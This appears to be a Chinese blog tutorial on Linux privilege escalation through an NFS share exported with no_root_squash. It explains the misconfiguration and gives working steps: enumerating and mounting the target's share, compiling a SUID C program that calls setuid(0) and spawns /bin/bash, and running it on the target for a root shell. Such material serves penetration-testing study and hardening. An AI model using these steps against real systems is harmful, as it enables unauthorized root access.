NFS提权

简介

NFS(网络文件系统)是一种在端口TCP/UDP2049上运行的网络文件共享协议,由服务器和客户端两个组件组成。NFS服务器上创建共享目录,可以通过网络与其他Linux客户端共享文件。获得权限的用户可以将文件添加到共享中,并与有权访问该目录的其他用户共享。

提权原理

默认情况下,每个NFS共享都会启用root_squash功能,以防止共享文件拥有root:root身份或特殊权限(即启用root_squash后,所有共享文件都会变成nobody:nogroup身份)。但是,如果启用了no_root_squash功能,文件可以以root身份存在,这就容易导致权限升级。

利用条件

no_root_squash选项开启

查看/etc/exports文件

# /etc/exports: the access control list for filesystems which may be exported
# to NFS clients. See exports(5).

# NFS共享的示例目录:/srv/nfs_share
# 允许指定的IP网段 * 访问该共享,具有读写权限。
# no_root_squash 允许客户端的root用户在NFS服务器上有root权限。

/tmp *(rw,sync,no_root_squash,no_subtree_check)

# 解释:
# rw - 读写权限
# sync - 数据在写入后立即保存
# no_root_squash - 客户端的root用户将映射为NFS服务器上的root用户
# no_subtree_check - 禁用子目录检查,提高性能

案例

1、查看/etc/exports,发现为no_root_squash

cat /etc/exports

2、列举可挂载份额

showmount -e 192.168.74.131

3、创建目录,并挂载

mkdir /tmp/door
mount -o rw 192.168.74.131:/tmp /tmp/door

此时访问本地的/tmp/door就相当于访问目标机的/tmp

4、创建一个SUID的可执行文件

int main()
{ setgid(0);
  setuid(0);
  system("/bin/bash");
  return 0;
}

进行编译并赋予S权限

gcc nfs.c -o nfs -w
chmod +s nfs

5、在目标机上运行该文件

./nfs

注意:如果报错,可能版本不一致,建议在GLIBC相同的版本上进行编译  

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值